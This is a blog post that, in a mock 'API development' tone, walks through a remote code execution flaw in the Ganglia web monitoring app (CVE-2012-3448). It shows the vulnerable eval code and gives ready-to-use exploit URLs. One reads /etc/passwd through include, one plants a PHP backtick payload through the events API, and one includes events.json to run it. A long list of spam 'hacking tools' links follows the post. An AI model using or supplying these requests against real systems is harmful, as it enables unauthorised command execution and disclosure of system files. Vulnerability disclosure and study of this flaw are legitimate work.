lunes, 24 de agosto de 2020

Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448

Related links


  1. Ethical Hacker Tools
  2. Hacker Tools Apk Download
  3. Hack Tools Online
  4. Pentest Tools Linux
  5. Hacker Tools Hardware
  6. Hacks And Tools
  7. Hacker Tools Software
  8. Hacking Tools For Windows 7
  9. Tools 4 Hack
  10. Hacking Tools Usb
  11. How To Make Hacking Tools
  12. Hackrf Tools
  13. Hacking Tools Name
  14. Easy Hack Tools
  15. Hacking Tools
  16. Hak5 Tools
  17. Pentest Box Tools Download
  18. Hacking Tools 2020
  19. Bluetooth Hacking Tools Kali
  20. Hacker Tools 2019
  21. Hak5 Tools
  22. Hacker Tools Software
  23. Pentest Tools Windows
  24. Growth Hacker Tools
  25. Hacker Tools Apk
  26. Underground Hacker Sites
  27. Growth Hacker Tools
  28. Hack Tools Pc
  29. Hacker Tools 2019
  30. Pentest Tools Linux
  31. What Is Hacking Tools
  32. Hacking Tools Download
  33. Kik Hack Tools
  34. Nsa Hack Tools
  35. Hacker Tools Hardware
  36. Hacking Tools For Beginners
  37. Hacking Tools For Windows
  38. Hacking Tools Download
  39. Top Pentest Tools
  40. Hack Tool Apk
  41. Hacker Security Tools
  42. Pentest Tools Subdomain
  43. Hacking Tools Windows 10
  44. Black Hat Hacker Tools
  45. Pentest Tools Free
  46. Game Hacking
  47. Hacking Tools 2020
  48. Pentest Automation Tools
  49. Hacking Tools For Games
  50. Nsa Hacker Tools
  51. Pentest Tools Review
  52. Best Hacking Tools 2019
  53. Hack Tools Online
  54. Best Hacking Tools 2019
  55. Hacking Tools Pc
  56. Hack Tool Apk No Root
  57. Install Pentest Tools Ubuntu
  58. Github Hacking Tools
  59. Hacker Tools For Mac
  60. Hack Tool Apk No Root
  61. Hacking Tools Download
  62. Pentest Tools Subdomain
  63. Hak5 Tools
  64. How To Hack
  65. Hack Tools For Mac
  66. Pentest Tools Free
  67. Tools For Hacker
  68. Hackrf Tools
  69. Usb Pentest Tools
  70. Hack Tool Apk No Root
  71. New Hacker Tools
  72. Pentest Tools Framework
  73. How To Hack
  74. Hacking Tools For Games
  75. Hack Tools For Ubuntu
  76. Pentest Tools Alternative
  77. Best Hacking Tools 2020
  78. Hacker Tools Windows
  79. Usb Pentest Tools
  80. What Is Hacking Tools
  81. Pentest Tools Alternative
  82. Hacker Tools For Ios
  83. Hacking Tools For Kali Linux
  84. Hacker Hardware Tools
  85. Hack Apps
  86. Hacker Tools Apk Download
  87. Pentest Tools Url Fuzzer
  88. Hacker Tools Free
  89. Hacker Tools Software
  90. Pentest Tools Windows
  91. Hacker Tools Mac
  92. How To Install Pentest Tools In Ubuntu
  93. Hack Rom Tools
  94. Hackrf Tools
  95. Bluetooth Hacking Tools Kali
  96. Kik Hack Tools
  97. Pentest Tools Bluekeep
  98. Hacker Security Tools
  99. Hack Tools Github
  100. How To Hack
  101. Hacking Tools For Mac
  102. Pentest Tools Free
  103. Hacking Tools Hardware
  104. Hacker Tools Online
  105. Hack Tools
  106. Pentest Tools Nmap
  107. Install Pentest Tools Ubuntu
  108. Hacker Tools List
  109. Pentest Tools For Android
  110. Pentest Tools Tcp Port Scanner
  111. Hacker Tools
  112. Hacking Tools Mac
  113. Hacker Tools Mac
  114. Tools 4 Hack
  115. Pentest Recon Tools
  116. Hacking Tools Name
  117. Hack Website Online Tool
  118. Hack Tools For Mac
  119. Hacker Tools For Windows
  120. Hacker Tools List
  121. Hacker Tools For Mac
  122. Hacker
  123. Hack Tools For Mac
  124. Hacking Tools For Windows
  125. Hack Tools For Mac
  126. Hack Tools For Windows
  127. Hacking Tools For Games
  128. Hacking Tools Free Download
  129. Game Hacking
  130. Hacking Tools And Software
  131. Github Hacking Tools
  132. Nsa Hack Tools Download
  133. Hacker Tools Apk Download
  134. Hacking Tools For Games
  135. Hackers Toolbox
  136. Hacking Apps
  137. Pentest Tools For Mac
  138. Hack Website Online Tool

No hay comentarios:

Archivo del blog

Datos personales